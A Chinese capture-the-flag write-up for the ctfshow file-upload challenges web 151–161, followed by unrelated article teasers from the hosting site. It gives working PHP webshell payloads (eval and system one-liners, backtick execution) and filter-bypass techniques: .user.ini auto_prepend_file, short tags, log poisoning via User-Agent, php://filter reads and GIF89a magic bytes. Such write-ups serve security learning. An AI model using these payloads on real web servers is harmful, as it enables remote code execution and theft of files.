ctfshow——文件上传

文章目录

  • 文件上传思路
  • web 151
  • web 152
  • web 153
    • 知识点
    • 解题
  • web 154
  • web 155
  • web 156
  • web 157
  • web 158
  • web 159
  • web160
  • web 161

文件上传思路

在这里插入图片描述
在这里插入图片描述

web 151

打开页面显示:前台校验不可靠。说明这题是前端验证。
在这里插入图片描述
右键查看源代码,找到与上传点有关的前端代码:
在这里插入图片描述
  这里使用了一个叫Layui的组件库,url代表上传接口,accept代表允许上传的文件类型,exts代表允许上传的文件后缀。可见这里前端只允许上传图片类型的文件,且文件后缀名为png。

  绕过前端验证的最简单方法就是,上传一个png的webshell,再使用burp抓包更改文件后缀名,再访问上传的webshell。
在这里插入图片描述
在这里插入图片描述
可见,上传成功~,下一步就是写一个shell<?php @eval($_POST['cmd']);?>,用webshell连接工具蚁剑去连接上传的webshell。

这里我们详细分析一句话木马,不借助工具获取flag。

  1. php代码要写在<?php ?>中,php解析器才会认出这是php代码;
  2. @符号的意思是不报错,即使执行错误,也不报错;
  3. eval():把字符串当做PHP代码执行;
  4. $_POST['cmd']接收POST传参,传参的变量名叫cmd

    除了POST传参,还有GET传参$_GET['cmd']、全局的传参方法$_REQUEST['cmd'](不管是GET传参 or POST传参 or FIlE传参 or COOKIE传参)。

  5. php执行系统命令的函数有system()exec()shell_exec()、反撇号。php执行外部命令
    在这里插入图片描述

在这里插入图片描述

web 152

跟前一题一样的

web 153

知识点

  自PHP 5.3.0起,PHP支持基于每个目录的INI文件配置,此类文件仅被CGI/Fast SAPI处理。如果PHP以模块化的方式运行在Apache里,则.htaccess文件有同样效果。除了主php.ini之外,php还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’]所指定)。如果被执行的php文件在web根目录之外,则只扫描该目录。在这里插入图片描述

配置选项是有权限的。php.ini是主要的配置文件,.user.ini是用户自定义的配置文件且能覆盖php.ini的内容,php解析器在解析php文件时会扫描.user.ini的配置。

  在.user.ini风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 和PHP_INI_ALL模式的 INI 设置可被识别。用人话说就是除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。两个重要的配置选项:

auto_append_file=filename     //相当于在每个php文件尾加上 include(“filename”)
auto_prepend_file=filename    //相当于文件头加上 include(“filename”)

  利用.user,ini的方法:保证三个文件(.user.inishell.pngxx.php)在同一目录下,再执行该目录下的php文件。例如:

	//.user.iniauto_prepend_file=1.png//1.png<?php phpinfo();?>//1.php(任意php文件)

三个文件在一个目录下,就相当于1.php文件开头插入了include('1.png');进行文件包含,因为1.png中有php代码,所以经过include之后会执行shell脚本。

解题

此题前后端都检测content-type值,只允许上传PNG文件。
在这里插入图片描述
上传.user.ini文件,内容为auto_prepend_file=shell.png在这里插入图片描述
上传shell.png文件
在这里插入图片描述
  从之前可以得知,upload文件夹下有一个index.php的文件,故访问../upload/index.php?cmd=phpinfo();,可以看到phpinfo的页面。

在这里插入图片描述

web 154

知识点:过滤<?php
绕过方法:使用短标签进行绕过(没有限制条件)。如:

<?php @eval($_GET['cmd']);?> == <=@eval($_GET['cmd']);>

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

此题过滤了php这一关键词。使用短标签进行绕过。

pyload:

<?=@eval($_GET['cmd']);?>

在这里插入图片描述
在这里插入图片描述

web 155

同web 154

web 156

知识点:过滤php[]关键字
绕过方法:

  • php关键字被过滤,使用php短标签进行绕过;
  • []被过滤,使用{}进行替换。例如:
    <?php @eval($_GET['cmd']);?> ==  <?php @eval($_GET{cmd});?>
    

payload:

<?=system('cat ../fl*')?>

在这里插入图片描述

web 157

在前面的基础上,过滤了{;,而且文件内容不能有php字符串。
绕过方法:

  • 过滤;,则在短标签里,可以省略;。例如:
<?php @eval($_GET{cmd});?> == <?php @eval($_GET{cmd})?>
  • 过滤{,那就不用eval函数接受参数,再执行系统命令,直接用system()函数执行系统命令。如<?=system(ls)?>
    -cat ../flag.php==cat ../fl*

payload:

<?=system('cat ../fl*')?>

在这里插入图片描述

web 158

同web157

web 159

在前面的基础上,过滤了(。绕过方法:直接用反撇号执行系统命令,反撇号就相当于shell_exec()函数。payload:

<?=`cat ../fl*`?>

在这里插入图片描述

web160

在前面的基础上,过滤了反撇号。绕过方法:

  1. 第一种方法:利用日志包含绕过。就是说有些中间件会将用户访问记录记在日志里,如果将webshell写到日志里,再包含日志,不就可以getshell了吗?操作:

    • 同样先上传.user.ini文件,内容为auto_prepend_file=shell.png
      在这里插入图片描述

    • 上传shell.png文件,文件内容为<?=include"/var/lo"."g/nginx/access.lo"."g"?>(log关键词被过滤),且将shell写在UA头中。

    • ngnix的日志路径为/var/log/nginx/access.log
    • php中,可以用.进行字符串的拼接;

    在这里插入图片描述

    • 访问xxx/upload/index.php.
  2. 第二种方法:因为已经知道flag的位置,通过php伪协议进行文件读取。

    • 同样先上传.user.ini文件,内容为auto_prepend_file=shell.png
    • 上传shell.png,文件内容为<?=include"ph"."p://filter/covert.base64-encode/resource=../flag.ph"."p"?>
    • 访问xxx/upload/index.php,再使用base64进行解码即可。
      在这里插入图片描述
      在这里插入图片描述

web 161

这关在前面的基础上,还进行文件内容检测(主要是使用getimagesize()函数进行检测),服务端主要检测文件幻数。其实就是检测文件内容开始的地方,不同后缀名的文件,文件起始的地方是不一样的。

这关很恶心嗷,前端验证只能为png文件,后端检测文件内容必须是gif。

绕过方法:制作图片马,更简单的就是用burp抓包,将你的shell写在文件内容里。

  1. 先上传.user.ini文件,内容为auto_prepend_file=shell.png(需要加gif文件的文件幻数GIF89a);
    在这里插入图片描述
  2. 上传shell.png,文件内容为<?=include"ph"."p://filter/covert.base64-encode/resource=../flag.ph"."p"?>,同样要加文件幻数GIF89a。
    在这里插入图片描述
  3. 访问../upload/index.php,使用base64进行解码。
    在这里插入图片描述
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/311250.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Mybatis 事务接口

当我们从数据源中得到一个可用的数据库连接之后&#xff0c;就可以开启一个数据库事务了&#xff0c;事务成功开启之后&#xff0c;我们才能修改数据库中的数据。 在修改完成之后&#xff0c;我们需要提交事务&#xff0c;完成整个事务内的全部修改操作&#xff0c;如果修改过…

uni-app App.vue生命周期全局样式全局存储globalData

锋哥原创的uni-app视频教程&#xff1a; 2023版uniapp从入门到上天视频教程(Java后端无废话版)&#xff0c;火爆更新中..._哔哩哔哩_bilibili2023版uniapp从入门到上天视频教程(Java后端无废话版)&#xff0c;火爆更新中...共计23条视频&#xff0c;包括&#xff1a;第1讲 uni…

股票价格预测 | Python实现Autoformer, FEDformer和PatchTST等模型用于股价预测

文章目录 效果一览文章概述环境描述源码设计效果一览 文章概述 Autoformer、FEDformer和PatchTST是一些用于时间序列预测,包括股价预测的模型。它们都是在Transformer模型的基础上进行了改进和扩展,以更好地适应时间序列数据的特点。 Autoformer:Autoformer是一种自适应Tran…

MySQL基础入门(二)

多表内容 一对多 这个内容是黑马的入门问题&#xff0c;可以带大家思考一下这个怎么设计 我们要知道一个岗位可以对应很多用户&#xff0c;而一个用户只能对应一个岗位&#xff0c;这就属于一对多的类型 那么我们需要怎么将他们进行关联呢&#xff1f; 现在我们可以通过一个…

yolov8官方新版源码中没有requirements.txt

题外话&#xff1a;最近在帮用户安装yolov8环境的时候&#xff0c;用户说最新版的没有requirements.txt文件&#xff0c;不知道怎么安装。最开始我还以为是用户下错了的呢&#xff0c;最后一看官方居然还真的没有。不得不说。ultralytics公司更新代码的速度可是真的快。 其实官…

苹果紧急修复两大零日漏洞,影响iPhone、iPad 和 Mac 设备

内容概述&#xff1a; 近日&#xff0c;苹果公司发布紧急安全更新&#xff0c;此次更新修复了两个在攻击中被利用并影响 iPhone、iPad 和 Mac 设备的零日漏洞。据统计&#xff0c;自今年年初以来已修复的零日漏洞数量已达到 20 个。其中提到此次发现的零日漏洞很可能已被iOS 1…

汽车保养软件app开发步骤

“增强您的动力&#xff0c;为您的旅程加油——每一刻都讲述着关爱的故事。构建汽车维护软件app&#xff0c;为您的车辆提供数字化的维修站&#xff0c;从而开启长寿之路。智能驾驶、互联驾驶、自信驾驶。” 疯狂地搜索旧收据并猜测上次换油时间的日子已经一去不复返了。如果您…

如何使用甘特图进行项目管理?

或许你在工作中或项目启动会议上听说过“甘特图”一词&#xff0c;但对此了解不多。虽然这些图表可能变得相当复杂&#xff0c;但基础知识并不难掌握。通过本文&#xff0c;你将清楚地了解什么是甘特图、何时使用甘特图、创建甘特图的技巧等等。 什么是甘特图&#xff1f; 甘特…

弱电工程计算机网络系统基础知识

我们周围无时无刻不存在一张网&#xff0c;如电话网、电报网、电视网、计算机网络等&#xff1b;即使我们身体内部也存在许许多多的网络系统&#xff0c;如神经系统、消化系统等。最为典型的代表即计算机网络&#xff0c;它是计算机技术与通信技术两个领域的结合。 计算机网络的…

python使用openpyxl操作excel

文章目录 前提读取已有excel创建一个excel工作簿对象创建excel工作簿中的工作表获取工作表第一种&#xff1a;.active 方法第二种&#xff1a;通过工作表名获取指定工作表​​​​​​第三种&#xff1a;.get_sheet_name() 修改工作表的名称数据操作写入数据按单元格写入通过指…

brew 安装openapi-generator提示@@HOMEBREW_JAVA@@/bin/java: No such file or directory

brew 安装openapi-generator之后&#xff0c;运行openapi-generator命令&#xff0c;提示HOMEBREW_JAVA/bin/java: No such file or directory 经过一番查阅&#xff0c;应该是Java没有配置到环境变量中 查询电脑已经安装的Java版本 /usr/libexec/java_home 编辑.bash_profile…

同义词替换降低论文相似度的注意事项 papergpt

大家好&#xff0c;今天来聊聊同义词替换降低论文相似度的注意事项&#xff0c;希望能给大家提供一点参考。 以下是针对论文重复率高的情况&#xff0c;提供一些修改建议和技巧&#xff0c;可以借助此类工具&#xff1a; 标题&#xff1a;同义词替换降低论文相似度的注意事项 …